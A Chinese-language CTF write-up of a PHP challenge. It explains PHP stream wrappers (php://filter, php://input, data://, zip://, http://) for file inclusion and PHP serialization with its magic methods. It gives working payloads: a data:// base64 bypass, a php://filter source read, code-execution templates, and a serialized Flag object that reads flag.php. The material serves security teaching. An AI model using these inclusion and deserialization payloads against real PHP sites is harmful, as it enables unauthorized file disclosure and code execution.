首先根据连接打开得到一个,PHP源码:
根据源码分析,我们需要GET三个参数分别是:text,file,password
首先需要检查是否对text传一个文件,并且文件内容要是welcome to the zjctf,才能进行下一步
这里涉及到一些PHP为协议:
两个配置
PHP.ini
all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:
allow_url_fopen=on; 允许url里的封装协议访问文件
allow_url_include=off; 不允许url里的封装协议包含文件
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
利用:是php中独有的一个协议,可以作为一个中间过滤器来处理目标数据流,可以进行任意文件的读取,且该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,相当于可构造多个过滤器。
条件:
读,开启 allow_url_fopen,不需要开启 allow_url_include;
写,则要两者都开启。
示例:
?file=php://filter/read=convert.base64-encode/resource=xxx
利用:php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
通俗一点讲就是,php://input作为被包含的参数时,也是文件包含,不过是包含的对象是post的数据,而post的数据为用户所传入,所以也相当于任意命令执行。
条件:
allow_url_fopen:off/on
allow_url_include:On
值得注意的是,这是在传输过程中去包含,也就是向当前页面写入php代码
示例:
?file=php://input
post:
注:当enctype=”multipart/form-data”时,php://input是无效的,这是数据传输方式发送改变造成的。
zip://
条件:
allow_url_fopen:off/on
allow_url_include :off/on
利用:
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的文件,不需要指定后缀名,可修改为任意后缀:jpg,png,gif等等,但是需要绝对路径。
示例:
将写入phpinfo.txt ,然后压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg (任意后缀名),并上传根目录
?file=zip://[压缩文件绝对路径]%23[压缩文件内的子文件名] (%23为#的url编码,这里只能用%23)
条件:
allow_url_fopen: on
allow_url_include: on
利用:
data://数据流封装器,以传递指定格式的数据,可以用来执行PHP代码。
示例:
/?file=data://text/plain,[执行的php代码]
其它利用示例:
/?file=data://text/plain;base64,[base64加密的php代码]
条件:
allow_url_fopen: on
allow_url_include: on
利用:
常用于远程包含,?file=http://xxx.xxx.xxx.xxx/xxx
这里呢,因为给出的参数是text,于是就想到data协议,于是我们就
利用payload:
text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=
发现成功执行,然后进到下一个条件,下一个条件是,检查file
传进来的参数是否有flag,有的话,就输出Not now ,然后退出
程序,没有的话就进入下面的命令。
所以我们,我们传入的值不能含有flag,发现旁边备注useless.php文件
利用file查看一下,利用php://filter,
payload:
?text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=&
file=php://filter/read=convert.base64-encode/resource=useless.php
得到:
解码得到:
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
可以看到这个PHP源码,对源码进行分析,可以知道,它定义了一个
叫做Flag的类,里面含有一个一叫: _tostring()的魔术方法
里面执行了文件包含,所以我们就可以在这利用这个点查看
flag.php文件。
这里涉及了一些反序列化的知识点:
首先要理解什么是序列化:
序列化就是把对象转化为可传输的字节序列过程称为序列化。
反序列化:
反序列化就是把字节序转化为对象的过程
列:
这里我们定一了一个类,将它用serialize()序列化话后得到
O:4:“flag”:1:{s:4:“flag”;s:5:“world”;} 的字节序列,并且这个类
成功的调用__construct()的魔术放法(该方法是当对象创建完成后调用)
输出success
然后,我们在对在对O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}进行反序列化
得到:
这里可以看到我们调用了,反序列化函数unserialize(),成功的将字节序列
创建了一个对象,并调用了__wakeup()函数。
这就是反序列化的一个过程。
其中这里的:O:4:“flag”:1:{s:4:“flag”;s:5:“world”;}
O 代表 类名flag
4 代表 类名有四个字符
1 代表有一个属性
s 代表属性是字符类型
4 代表有四个字符(也可以是int型用i,数组型用列: a:1{i:1;s:1:“a”},NULL型用N,布尔型:b:0)
类当中属于的访问控制修饰符不通,序列化后的属性长度和属性值也会不同。
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化后属性名长度会增加3,因为属性名会变成%00*%00属性名。
列:O:4:“flag”:1:{s:4:“flag”;s:8:"%00*%00world";}
private属性被序列化后属性名会变成%00类名%00属性名。
列:O:4:“flag”:1:{s:4:“flag”;s:11:"%00flag%00world";}
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
触发示例
__wakeup()
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
__sleep()
函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
__destruct()
对象销毁时触发
__call()
在对象中调用一个不可访问方法时,__call() 会被调用。
在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
n a m e 参 数 是 要 调 用 的 方 法 名 称 。 name 参数是要调用的方法名称。 name参数是要调用的方法名称。arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
__toString()
将类作为字符串处理时触发
__invoke()
当尝试以调用函数的方式调用一个对象时触发,本特性只在 PHP 5.3.0 及以上版本有效。
属性重载
public __set ( string $name , mixed $value ) : void
public __get ( string $name ) : mixed
public __isset ( string $name ) : bool
public __unset ( string $name ) : void
在给不可访问属性赋值时,__set() 会被调用。
读取不可访问属性的值时,__get() 会被调用。
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
当对不可访问属性调用 unset() 时,__unset() 会被调用。
__get()
读取不存在的变量时触发,且 __get() 的参数为变量名。
__set()
在给不可访问属性赋值时,__set() 会被调用。
__isset()
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
可以看到输出的 name 就是函数里的参数(不存在的属性名)
__unset()
当对不可访问属性调用 unset() 时,__unset() 会被调用。
参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。
所以这里我们能明确的知道有一个:__tostring()魔术方法
另外我们知道这个方法是要当类做为字符串输出时触发,而且
前面源码有:echo $password;而且$password被反序列化,
所以我们就传一个字节序列进去,又因为__tostring()魔术方法
调用了文件包含函数:file_get_contents($this->file);并输出了
里面的内容,所以我们利用这点,给file传flag.php然后我们就能
让它输出里面的内容啦
所以我们的字节序列是:
password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
所以我们的payload:
text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=&
file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
然后得到flag: